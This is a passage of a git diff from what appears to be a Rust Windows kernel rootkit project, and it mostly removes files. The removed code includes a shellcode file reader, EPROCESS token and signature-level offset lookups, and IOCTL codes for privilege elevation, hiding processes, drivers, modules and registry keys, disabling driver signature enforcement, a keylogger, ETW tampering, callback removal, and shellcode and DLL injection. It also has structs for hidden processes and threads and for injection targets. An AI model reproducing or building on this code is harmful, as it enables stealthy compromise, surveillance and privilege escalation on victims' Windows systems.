alloc::format!("\\??\\{}", path); - let file_name = crate::utils::uni::str_to_unicode(&path_nt); - let mut io_status_block: _IO_STATUS_BLOCK = unsafe { zeroed() }; - let mut obj_attr = InitializeObjectAttributes( - Some(&mut file_name.to_unicode()), - OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, - None, - None, - None - ); - - let mut h_file: HANDLE = null_mut(); - let mut status = unsafe { - ZwCreateFile( - &mut h_file, - GENERIC_READ, - &mut obj_attr, - &mut io_status_block, - null_mut(), - FILE_ATTRIBUTE_NORMAL, - 0, - FILE_OPEN, - FILE_SYNCHRONOUS_IO_NONALERT, - null_mut(), - 0, - ) - }; - if !NT_SUCCESS(status) { - log::error!("ZwCreateFile Failed With Status: {status}"); - return Err(status); - } - - let h_file = Handle::new(h_file); - - let mut file_info: FILE_STANDARD_INFORMATION = unsafe { zeroed() }; - status = unsafe { - ZwQueryInformationFile( - h_file.get(), - &mut io_status_block, - &mut file_info as *mut _ as *mut c_void, - size_of::() as u32, - FileStandardInformation - ) - }; - if !NT_SUCCESS(status) { - log::error!("ZwQueryInformationFile Failed With Status: {status}"); - return Err(status); - } - - let file_size = unsafe { file_info.EndOfFile.QuadPart as usize }; - let mut byte_offset: LARGE_INTEGER = unsafe { zeroed() }; - byte_offset.QuadPart = 0; - let mut shellcode = alloc::vec![0u8; file_size]; - status = unsafe { - ZwReadFile( - h_file.get(), - null_mut(), - None, - null_mut(), - &mut io_status_block, - shellcode.as_mut_ptr() as *mut c_void, - file_size as u32, - &mut byte_offset, - null_mut() - ) - }; - if !NT_SUCCESS(status) { - log::error!("ZwReadFile Failed With Status: {status}"); - return Err(status); - } - - Ok(shellcode) -} - -/// Responsible for returning information on the modules loaded. -/// -/// # Returns -/// -/// - `Option<(*mut LDR_DATA_TABLE_ENTRY, i32)> `: Returns a content containing LDR_DATA_TABLE_ENTRY and the return of how many loaded modules there are in PsLoadedModuleList. -/// -pub fn return_module() -> Option<(*mut LDR_DATA_TABLE_ENTRY, i32)> { - let ps_module = crate::uni::str_to_unicode(obfstr!("PsLoadedModuleList")); - let func = unsafe { MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY }; - - if func.is_null() { - log::error!("PsLoadedModuleList is null"); - return None; - } - - let mut list_entry = unsafe { (*func).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY }; - let mut module_count = 0; - - let start_entry = list_entry; - while !list_entry.is_null() && list_entry != func { - module_count += 1; - list_entry = unsafe { (*list_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY }; - } - - Some((start_entry, module_count)) -} - -/// Validates if the given address is within the kernel memory range. -/// -/// # Arguments -/// -/// - `addr`: A 64-bit unsigned integer representing the address to validate. -/// -/// # Returns -/// -/// - `bool`: True if the address is within the kernel memory range, False otherwise. -/// -pub fn valid_kernel_memory(addr: u64) -> bool { - addr > 0x8000000000000000 && addr < 0xFFFFFFFFFFFFFFFF -} - -/// Validates if the given address is within the user memory range. -/// -/// # Arguments -/// -/// - `addr`: A 64-bit unsigned integer representing the address to validate. -/// -/// # Returns -/// -/// - `bool`: True if the address is within the user memory range, False otherwise. -/// -pub fn valid_user_memory(addr: u64) -> bool { - addr > 0 && addr < 0x7FFFFFFFFFFFFFFF -} - -/// Generic function that performs the operation with the lock already acquired. -/// It will acquire the lock exclusively and guarantee its release after use. -/// -/// # Arguments -/// -/// - `push_lock` - Pointer to the lock to be acquired. -/// - `operation` - The operation to be performed while the lock is active. -/// -pub fn with_push_lock_exclusive(push_lock: *mut u64, operation: F) -> T -where - F: FnOnce() -> T, -{ - unsafe { - ExAcquirePushLockExclusiveEx(push_lock, 0); // Get the lock exclusively - } - - let result = operation(); // Performs the operation while the lock is active - - unsafe { - ExReleasePushLockExclusiveEx(push_lock, 0); // Releases the lock after the operation - } - - result // Returns the result of the operation -} - -/// Retrieves the Windows build number by calling `RtlGetVersion`. -/// -/// # Returns -/// -/// - `u32`: The Windows build number if successful, otherwise returns 0. -/// -pub fn get_windows_build_number() -> u32 { - unsafe { - let mut os_info: OSVERSIONINFOW = core::mem::zeroed(); - os_info.dwOSVersionInfoSize = core::mem::size_of::() as u32; - - if RtlGetVersion(&mut os_info) != 0 { - return os_info.dwBuildNumber; - } - } - 0 -} \ No newline at end of file diff --git a/driver/src/utils/offsets.rs b/driver/src/utils/offsets.rs deleted file mode 100644 index df6332a..0000000 --- a/driver/src/utils/offsets.rs +++ /dev/null @@ -1,118 +0,0 @@ -use crate::utils::uni; -use wdk_sys::ntddk::MmGetSystemRoutineAddress; - -pub static mut BUILD_NUMBER: u32 = 0; -const WIN_1507: u32 = 10240; -const WIN_1511: u32 = 10586; -const WIN_1607: u32 = 14393; -const WIN_1703: u32 = 15063; -const WIN_1709: u32 = 16299; -const WIN_1803: u32 = 17134; -const WIN_1809: u32 = 17763; -const WIN_1903: u32 = 18362; -const WIN_1909: u32 = 18363; -#[allow(dead_code)] -const WIN_2004: u32 = 19041; -#[allow(dead_code)] -const WIN_20H2: u32 = 19042; -#[allow(dead_code)] -const WIN_21H1: u32 = 19043; -#[allow(dead_code)] -const WIN_21H2: u32 = 19044; -#[allow(dead_code)] -const WIN_22H2: u32 = 19045; -#[allow(dead_code)] -const WIN_1121H2: u32 = 22000; -#[allow(dead_code)] -const WIN_1122H2: u32 = 22621; - -/// Gets the offset of the `SignatureLevel` in the `EPROCESS` structure. -/// -/// # Returns -/// -/// - `isize`: Returns the offset of the dynamically retrieved structure. -/// -pub unsafe fn get_offset_signature() -> isize { - let mut function_name = uni::str_to_unicode("PsGetProcessSignatureLevel").to_unicode(); - let address = MmGetSystemRoutineAddress(&mut function_name); - let bytes = core::slice::from_raw_parts(address as *const u8, 20); - let offset = bytes[15..17] - .try_into() - .map(u16::from_le_bytes) - .expect("Slice length is not 2, cannot convert"); - - offset as isize -} - -/// Gets the offset of the `UniqueProcessId` in the `EPROCESS` structure. -/// -/// # Returns -/// -/// - `isize`: Returns the offset of the dynamically retrieved structure. -/// -/// -pub unsafe fn get_offset_unique_process_id() -> isize { - let mut function_name = uni::str_to_unicode("PsGetProcessId").to_unicode(); - let address = MmGetSystemRoutineAddress(&mut function_name); - let bytes = core::slice::from_raw_parts(address as *const u8, 5); - let offset = bytes[3..5] - .try_into() - .map(u16::from_le_bytes) - .expect("Slice length is not 2, cannot convert"); - - offset as isize -} - -/// Gets the offset of the `Token` in the `EPROCESS` structure. -/// -/// # Returns -/// -/// - `isize`: Returns the offset of the dynamically retrieved structure. -/// -pub unsafe fn get_offset_token() -> isize { - let mut function_name = uni::str_to_unicode("PsReferencePrimaryToken").to_unicode(); - let address = MmGetSystemRoutineAddress(&mut function_name); - let bytes = core::slice::from_raw_parts(address as *const u8, 27); - let offset = bytes[21..23] - .try_into() - .map(u16::from_le_bytes) - .expect("Slice length is not 2, cannot convert"); - - offset as isize -} - -/// Gets the offset of the `RundownProtect` in the `ETHREAD` structure. -/// -/// # Returns -/// -/// - `isize`: Returns the offset of the dynamically retrieved structure. -/// -pub unsafe fn get_rundown_protect() -> isize { - let mut function_name = uni::str_to_unicode("PsGetThreadExitStatus").to_unicode(); - let address = MmGetSystemRoutineAddress(&mut function_name); - let bytes = core::slice::from_raw_parts(address as *const u8, 17); - let offset = bytes[13..15] - .try_into() - .map(u16::from_le_bytes) - .expect("Slice length is not 2, cannot convert"); - - offset as isize -} - -/// Returns the virtual address descriptor (VAD) root offset based on the Windows build number. -/// -/// # Returns -/// -/// - `u32`: value representing the offset for the VAD root depending on the Windows build number. -/// -#[inline] -pub unsafe fn get_vad_root() -> u32 { - match BUILD_NUMBER { - WIN_1507 => 0x608, - WIN_1511 => 0x610, - WIN_1607 => 0x620, - WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 => 0x628, - WIN_1903 | WIN_1909 => 0x658, - _ => 0x7d8, - } -} diff --git a/driver/src/utils/uni.rs b/driver/src/utils/uni.rs index 91c907f..e194b99 100644 --- a/driver/src/utils/uni.rs +++ b/driver/src/utils/uni.rs @@ -26,13 +26,12 @@ impl OwnedUnicodeString { /// # Returns /// /// - A `UNICODE_STRING` pointing to the wide string stored in `buffer`. - /// pub fn to_unicode(&self) -> UNICODE_STRING { // The length is the size of the string in bytes, excluding the null terminator. // MaximumLength includes the null terminator. UNICODE_STRING { - Length: ((self.buffer.len() * core::mem::size_of::()) - 2) as u16, - MaximumLength: (self.buffer.len() * core::mem::size_of::()) as u16, + Length: ((self.buffer.len() * size_of::()) - 2) as u16, + MaximumLength: (self.buffer.len() * size_of::()) as u16, Buffer: self.buffer.as_ptr() as *mut u16, } } @@ -46,16 +45,18 @@ impl OwnedUnicodeString { /// /// # Arguments /// -/// - `s`: A reference to the Rust string slice to be converted. +/// * `s` - A reference to the Rust string slice to be converted. /// /// # Returns /// -/// - `OwnedUnicodeString`: A structure containing the wide (UTF-16) representation of the input string. -/// +/// * A structure containing the wide (UTF-16) representation of the input string. pub fn str_to_unicode(s: &str) -> OwnedUnicodeString { // Convert the rust string to a wide string let mut wide_string: Vec = s.encode_utf16().collect(); - wide_string.push(0); // Null terminate the string + + // Null terminate the string + wide_string.push(0); + OwnedUnicodeString { buffer: wide_string, _phantompinned: core::marker::PhantomPinned, diff --git a/shared/Cargo.lock b/shared/Cargo.lock deleted file mode 100644 index 896df3c..0000000 --- a/shared/Cargo.lock +++ /dev/null @@ -1,115 +0,0 @@ -# This file is automatically @generated by Cargo. -# It is not intended for manual editing. -version = 3 - -[[package]] -name = "ntapi" -version = "0.4.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e8a3895c6391c39d7fe7ebc444a87eb2991b2a0bc718fdabd071eec617fc68e4" -dependencies = [ - "winapi", -] - -[[package]] -name = "shared" -version = "0.1.0" -dependencies = [ - "ntapi", - "windows-sys", -] - -[[package]] -name = "winapi" -version = "0.3.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" -dependencies = [ - "winapi-i686-pc-windows-gnu", - "winapi-x86_64-pc-windows-gnu", -] - -[[package]] -name = "winapi-i686-pc-windows-gnu" -version = "0.4.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" - -[[package]] -name = "winapi-x86_64-pc-windows-gnu" -version = "0.4.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" - -[[package]] -name = "windows-sys" -version = "0.52.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" -dependencies = [ - "windows-targets", -] - -[[package]] -name = "windows-targets" -version = "0.52.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6f0713a46559409d202e70e28227288446bf7841d3211583a4b53e3f6d96e7eb" -dependencies = [ - "windows_aarch64_gnullvm", - "windows_aarch64_msvc", - "windows_i686_gnu", - "windows_i686_gnullvm", - "windows_i686_msvc", - "windows_x86_64_gnu", - "windows_x86_64_gnullvm", - "windows_x86_64_msvc", -] - -[[package]] -name = "windows_aarch64_gnullvm" -version = "0.52.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7088eed71e8b8dda258ecc8bac5fb1153c5cffaf2578fc8ff5d61e23578d3263" - -[[package]] -name = "windows_aarch64_msvc" -version = "0.52.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9985fd1504e250c615ca5f281c3f7a6da76213ebd5ccc9561496568a2752afb6" - -[[package]] -name = "windows_i686_gnu" -version = "0.52.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "88ba073cf16d5372720ec942a8ccbf61626074c6d4dd2e745299726ce8b89670" - -[[package]] -name = "windows_i686_gnullvm" -version = "0.52.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "87f4261229030a858f36b459e748ae97545d6f1ec60e5e0d6a3d32e0dc232ee9" - -[[package]] -name = "windows_i686_msvc" -version = "0.52.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "db3c2bf3d13d5b658be73463284eaf12830ac9a26a90c717b7f771dfe97487bf" - -[[package]] -name = "windows_x86_64_gnu" -version = "0.52.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4e4246f76bdeff09eb48875a0fd3e2af6aada79d409d33011886d3e1581517d9" - -[[package]] -name = "windows_x86_64_gnullvm" -version = "0.52.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "852298e482cd67c356ddd9570386e2862b5673c85bd5f88df9ab6802b334c596" - -[[package]] -name = "windows_x86_64_msvc" -version = "0.52.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bec47e5bfd1bff0eeaf6d8b485cc1074891a197ab4225d504cb7a1ab88b02bf0" diff --git a/shared/src/ioctls.rs b/shared/src/ioctls.rs deleted file mode 100644 index 74a85ee..0000000 --- a/shared/src/ioctls.rs +++ /dev/null @@ -1,61 +0,0 @@ -const FILE_DEVICE_UNKNOWN: u32 = 34; -const METHOD_NEITHER: u32 = 3; -const METHOD_BUFFERED: u32 = 0; -const FILE_ANY_ACCESS: u32 = 0; - -macro_rules! CTL_CODE { - ($DeviceType:expr, $Function:expr, $Method:expr, $Access:expr) => { - ($DeviceType << 16) | ($Access << 14) | ($Function << 2) | $Method - }; -} - -// Process -pub const IOCTL_ELEVATE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const IOCTL_HIDE_UNHIDE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const IOCTL_TERMINATE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const IOCTL_SIGNATURE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x803, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const IOCTL_PROTECTION_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x804, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const IOCTL_ENUMERATION_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x805, METHOD_NEITHER, FILE_ANY_ACCESS); - -// Thread -pub const IOCTL_PROTECTION_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x806, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const IOCTL_HIDE_UNHIDE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x807, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const IOCTL_ENUMERATION_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x808, METHOD_NEITHER, FILE_ANY_ACCESS); - -// Driver -pub const IOCTL_HIDE_UNHIDE_DRIVER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x809, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const IOCTL_ENUMERATE_DRIVER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x810, METHOD_NEITHER, FILE_ANY_ACCESS); - -// DSE -pub const IOCTL_ENABLE_DSE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x811, METHOD_NEITHER, FILE_ANY_ACCESS); - -// Keylogger -pub const IOCTL_KEYLOGGER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x812, METHOD_BUFFERED, FILE_ANY_ACCESS); - -// ETWTI -pub const IOCTL_ETWTI: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x813, METHOD_NEITHER, FILE_ANY_ACCESS); - -// PORT -pub const IOCTL_PORT: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x814, METHOD_NEITHER, FILE_ANY_ACCESS); - -// Callbacks -pub const IOCTL_ENUMERATE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x815, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const IOCTL_REMOVE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x816, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const IOCTL_RESTORE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x817, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const IOCTL_ENUMERATE_REMOVED_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x818, METHOD_NEITHER, FILE_ANY_ACCESS); - -// Registry -pub const IOCTL_REGISTRY_PROTECTION_VALUE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x819, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const IOCTL_REGISTRY_PROTECTION_KEY: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x820, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const IOCTL_HIDE_UNHIDE_KEY: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x821, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const IOCTL_HIDE_UNHIDE_VALUE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x822, METHOD_NEITHER, FILE_ANY_ACCESS); - -// Module -pub const IOCTL_ENUMERATE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x823, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const IOCTL_HIDE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x824, METHOD_NEITHER, FILE_ANY_ACCESS); - -// Injection -pub const IOCTL_INJECTION_SHELLCODE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x825, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const IOCTL_INJECTION_SHELLCODE_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x826, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const IOCTL_INJECTION_DLL_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x827, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const IOCTL_INJECTION_DLL_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x828, METHOD_NEITHER, FILE_ANY_ACCESS); diff --git a/shared/src/structs/callback.rs b/shared/src/structs/callback.rs deleted file mode 100644 index 1c60969..0000000 --- a/shared/src/structs/callback.rs +++ /dev/null @@ -1,39 +0,0 @@ -use crate::enums::Callbacks; - -/// Callback Information for Enumeration (Output) -/// -/// This struct represents the information about a callback that is used in an enumeration process. -/// It includes details like the callback's memory address, name, and operations associated with it. -#[repr(C)] -#[derive(Debug, Copy, Clone)] -pub struct CallbackInfoOutput { - /// The memory address where the callback is located. - pub address: usize, - - /// The name of the callback, represented as a UTF-16 array of fixed length (256). - /// This is useful for systems (like Windows) that use UTF-16 strings. - pub name: [u16; 256], - - /// The index of the callback in the enumeration. - pub index: u8, - - /// The memory address of the pre-operation function associated with this callback. - pub pre_operation: usize, - - /// The memory address of the post-operation function associated with this callback. - pub post_operation: usize, -} - -/// Callback Information for Action (Input) -/// -/// This struct is used to represent input data when performing an action on a callback. -/// It includes the callback's index and the specific callback action to be taken. -#[repr(C)] -#[derive(Debug, Copy, Clone)] -pub struct CallbackInfoInput { - /// The index of the callback that will be targeted by the action. - pub index: usize, - - /// The specific callback action, represented by the `Callbacks` enum. - pub callback: Callbacks, -} \ No newline at end of file diff --git a/shared/src/structs/driver.rs b/shared/src/structs/driver.rs deleted file mode 100644 index 845d644..0000000 --- a/shared/src/structs/driver.rs +++ /dev/null @@ -1,65 +0,0 @@ -use super::LIST_ENTRY; -use core::sync::atomic::AtomicPtr; -use ntapi::ntldr::LDR_DATA_TABLE_ENTRY; - -/// Enumerates driver information for system drivers. -/// -/// This struct holds basic information about a driver, including its address, name, and an index -/// for identification. The `name` field is represented as a UTF-16 array to maintain compatibility -/// with systems that use this encoding (like Windows). -#[repr(C)] -pub struct DriverInfo { - /// The memory address where the driver is loaded. - pub address: usize, - - /// The name of the driver, stored as a UTF-16 encoded string with a fixed length of 256. - pub name: [u16; 256], - - /// The index of the driver in the enumeration. - pub index: u8, -} - -/// Represents a structure to enable or disable Driver Signature Enforcement (DSE). -/// -/// This struct is used to toggle the state of DSE, with the `enable` field indicating whether -/// DSE is currently enabled or disabled. -#[repr(C)] -#[derive(Debug)] -pub struct DSE { - /// A boolean flag to enable or disable DSE. `true` means DSE is enabled, `false` means it is disabled. - pub enable: bool, -} - -/// Stores the values related to a hidden driver. -/// -/// This struct is used to keep track of a driver that has been hidden from the system. It stores -/// the driver's name and relevant pointers to system structures such as the driver's list entry and -/// data table entry. -#[repr(C)] -#[derive(Debug)] -pub struct HiddenDriverInfo { - /// The name of the hidden driver as a dynamic string (heap-allocated). - pub name: alloc::string::String, - - /// A pointer to the `LIST_ENTRY` structure representing the driver's list in the system. - pub list_entry: AtomicPtr, - - /// A pointer to the `LDR_DATA_TABLE_ENTRY` structure that represents the driver's data in the system. - pub driver_entry: AtomicPtr, -} - - -/// Represents the target driver for operations like hiding or revealing it. -/// -/// This struct holds information about a driver, specifically its name and a flag indicating whether -/// it should be enabled (visible) or hidden. -#[repr(C)] -#[derive(Debug, Default)] -pub struct TargetDriver { - /// The name of the target driver as a dynamic string (heap-allocated). - pub name: alloc::string::String, - - /// A boolean flag that indicates whether the driver is enabled (visible) or hidden. - /// `true` means the driver is enabled, `false` means it is hidden. - pub enable: bool, -} \ No newline at end of file diff --git a/shared/src/structs/mod.rs b/shared/src/structs/mod.rs deleted file mode 100644 index 6c7f4dd..0000000 --- a/shared/src/structs/mod.rs +++ /dev/null @@ -1,117 +0,0 @@ -#![allow(non_camel_case_types)] -#![allow(non_snake_case)] - -use crate::enums::Options; -use crate::enums::{PortType, Protocol}; - -pub use { - callback::*, - driver::*, - module::*, - process::*, - thread::*, -}; - -pub mod callback; -pub mod driver; -pub mod module; -pub mod process; -pub mod thread; - -/// Custom implementation of the `LIST_ENTRY` structure. -/// -/// This struct represents a doubly linked list entry, commonly used in low-level -/// systems programming, especially in Windows kernel structures. It contains -/// forward (`Flink`) and backward (`Blink`) pointers to other entries in the list. -#[repr(C)] -#[derive(Debug, Clone, Copy)] -pub struct LIST_ENTRY { - /// A pointer to the next entry in the list. - pub Flink: *mut LIST_ENTRY, - - /// A pointer to the previous entry in the list. - pub Blink: *mut LIST_ENTRY, -} - -/// Represents the state of ETWTI (Event Tracing for Windows Thread Information). -/// -/// This struct manages whether ETWTI is enabled or disabled for capturing thread -/// information. The `enable` field controls the activation of this feature. -#[repr(C)] -#[derive(Debug)] -pub struct ETWTI { - /// A boolean value indicating if ETWTI is enabled (`true`) or disabled (`false`). - pub enable: bool, -} - -/// Input structure for enumeration of information. -/// -/// This struct is used as input for listing various entities, based on the -/// options provided. The `options` field defines the parameters for the enumeration. -#[repr(C)] -#[derive(Debug)] -pub struct EnumerateInfoInput { - /// The options to control how the enumeration should behave, typically set by the user. - pub options: Options, -} - -/// Represents the target process and path for a DLL or code injection. -/// -/// This struct contains the necessary information to perform a code or DLL injection -/// into a target process. It includes the process identifier (PID) and the path -/// to the file or resource being injected. -#[repr(C)] -#[derive(Debug)] -pub struct TargetInjection { - /// The process identifier (PID) of the target process where the injection will occur. - pub pid: usize, - - /// The path to the file or resource (typically a DLL) to be injected into the process. - /// This is a dynamic string (heap-allocated) that stores the full path. - pub path: alloc::string::String, -} - -/// Represents information about a network or communication port. -/// -/// This struct holds information about a specific port, including the protocol used, -/// the type of port, its number, and whether the port is enabled or disabled. -#[repr(C)] -#[derive(Debug, Clone, Copy, PartialEq)] -pub struct PortInfo { - /// The protocol used by the port (e.g., TCP, UDP). - /// This field is represented by the `Protocol` enum. - pub protocol: Protocol, - - /// The type of port (e.g., local, remote). - /// This field is represented by the `PortType` enum. - pub port_type: PortType, - - /// The port number, represented as a 16-bit unsigned integer. - /// Commonly used to identify network services (e.g., port 80 for HTTP). - pub port_number: u16, - - /// A boolean value indicating whether the port is enabled (`true`) or disabled (`false`). - pub enable: bool, -} - -/// Represents the target registry key and value for operations. -/// -/// This struct holds information about a specific registry key and its associated value -/// for operations such as modifying or querying the registry. It includes the registry key, -/// the value associated with that key, and a flag indicating whether the operation should be -/// enabled or not. -#[repr(C)] -#[derive(Debug, Default)] -pub struct TargetRegistry { - /// The registry key, represented as a dynamically allocated string. - /// This is typically the path to a specific registry key (e.g., `HKEY_LOCAL_MACHINE\Software\...`). - pub key: alloc::string::String, - - /// The value associated with the registry key, represented as a dynamically allocated string. - /// This could be a string value stored under the specified registry key. - pub value: alloc::string::String, - - /// A boolean value indicating whether the operation on the registry key should be enabled (`true`) - /// or disabled (`false`). - pub enable: bool, -} \ No newline at end of file diff --git a/shared/src/structs/module.rs b/shared/src/structs/module.rs deleted file mode 100644 index d49bd27..0000000 --- a/shared/src/structs/module.rs +++ /dev/null @@ -1,32 +0,0 @@ -/// Represents information about a module in the system. -/// -/// This struct is used for enumerating modules loaded in the system. It includes -/// the module's memory address, its name, and an index that can be used for -/// identification or sorting purposes. -#[repr(C)] -#[derive(Debug)] -pub struct ModuleInfo { - /// The memory address where the module is loaded. - pub address: usize, - - /// The name of the module, stored as a UTF-16 encoded string with a fixed length of 256. - /// This allows compatibility with systems like Windows that use UTF-16 encoding. - pub name: [u16; 256], - - /// The index of the module in the enumeration, useful for tracking or identifying the module. - pub index: u8, -} - -/// Represents the target module within a specific process for operations like enumeration or manipulation. -/// -/// This struct contains information about the target process and the specific module within that process. -/// It includes the process identifier (PID) and the name of the module being targeted. -#[repr(C)] -#[derive(Debug)] -pub struct TargetModule { - /// The process identifier (PID) of the process in which the target module is loaded. - pub pid: usize, - - /// The name of the target module, stored as a dynamically allocated string. - pub module_name: alloc::string::String, -} diff --git a/shared/src/structs/process.rs b/shared/src/structs/process.rs deleted file mode 100644 index 127904e..0000000 --- a/shared/src/structs/process.rs +++ /dev/null @@ -1,84 +0,0 @@ -use super::LIST_ENTRY; -use core::sync::atomic::AtomicPtr; - -/// Stores information about a process that has been hidden from the system. -/// -/// This struct holds the process identifier (PID) and a pointer to the process's -/// `LIST_ENTRY`, which is part of the system's internal list management structure. -/// The `AtomicPtr` ensures safe concurrent access to the `LIST_ENTRY`. -#[repr(C)] -#[derive(Debug)] -pub struct HiddenProcessInfo { - /// The process identifier (PID) of the hidden process. - pub pid: usize, - - /// A pointer to the `LIST_ENTRY` structure, which is used to represent the process - /// in the system's linked list of processes. This is wrapped in an `AtomicPtr` for safe concurrent access. - pub list_entry: AtomicPtr, -} - -/// Represents basic information about a process. -/// -/// This struct is used to store the PID of a process. -#[repr(C)] -#[derive(Debug)] -pub struct ProcessListInfo { - /// The process identifier (PID) of the process. - pub pids: usize, -} - -/// Stores information about a target process for operations such as termination or manipulation. -/// -/// This struct contains the process identifier (PID) of the target process. It is commonly used -/// when the PID is the only information required for an operation on a process. -#[repr(C)] -#[derive(Debug, Default)] -pub struct TargetProcess { - /// The process identifier (PID) of the target process. - pub pid: usize, -} - -/// Represents the state of a process with respect to hiding or visibility. -/// -/// This struct stores the PID of a process and a boolean flag that indicates whether the process -/// is hidden (`true`) or visible (`false`). -#[repr(C)] -#[derive(Debug, Default)] -pub struct ProcessInfoHide { - /// The process identifier (PID) of the process. - pub pid: usize, - - /// A boolean value indicating whether the process is hidden (`true`) or visible (`false`). - pub enable: bool, -} - -/// Stores signature information for a target process. -/// -/// This struct holds information about the signature of a process, such as its PID, signer (sg), -/// and type (tp), which might represent the level or type of protection applied to the process. -#[repr(C)] -#[derive(Debug)] -pub struct ProcessSignature { - /// The process identifier (PID) of the target process. - pub pid: usize, - - /// The signer of the process, typically indicating the authority or certificate that signed it. - pub sg: usize, - - /// The type of protection applied to the process, represented as an integer. - pub tp: usize, -} - -/// Stores information about whether a process is protected. -/// -/// This struct holds the process identifier (PID) and a flag indicating whether the process is -/// protected. It is used to manage processes that have protection mechanisms enabled or disabled. -#[repr(C)] -#[derive(Debug)] -pub struct ProcessProtection { - /// The process identifier (PID) of the process to be protected. - pub pid: usize, - - /// A boolean flag indicating whether the process is protected (`true`) or unprotected (`false`). - pub enable: bool, -} diff --git a/shared/src/structs/thread.rs b/shared/src/structs/thread.rs deleted file mode 100644 index 3604bb1..0000000 --- a/shared/src/structs/thread.rs +++ /dev/null @@ -1,56 +0,0 @@ -use super::LIST_ENTRY; -use core::sync::atomic::AtomicPtr; - -/// Stores information about a thread that has been hidden from the system. -/// -/// This struct holds the thread identifier (TID) and a pointer to the thread's -/// `LIST_ENTRY`, which is part of the system's internal list management structure. -/// The `AtomicPtr` ensures safe concurrent access to the `LIST_ENTRY`. -#[repr(C)] -#[derive(Debug)] -pub struct HiddenThreadInfo { - /// The thread identifier (TID) of the hidden thread. - pub tid: usize, - - /// A pointer to the `LIST_ENTRY` structure, which represents the thread in the system's - /// linked list of threads. This is wrapped in an `AtomicPtr` for safe concurrent access. - pub list_entry: AtomicPtr, -} - -/// Represents the target thread for operations like manipulation or monitoring. -/// -/// This struct contains the thread identifier (TID) and a boolean flag indicating whether -/// the thread is enabled or disabled (hidden or active). -#[repr(C)] -#[derive(Debug, Default)] -pub struct TargetThread { - /// The thread identifier (TID) of the target thread. - pub tid: usize, - - /// A boolean value indicating whether the thread is enabled (`true`) or disabled/hidden (`false`). - pub enable: bool, -} - -/// Stores basic information about a thread. -/// -/// This struct is used to store the TID of a 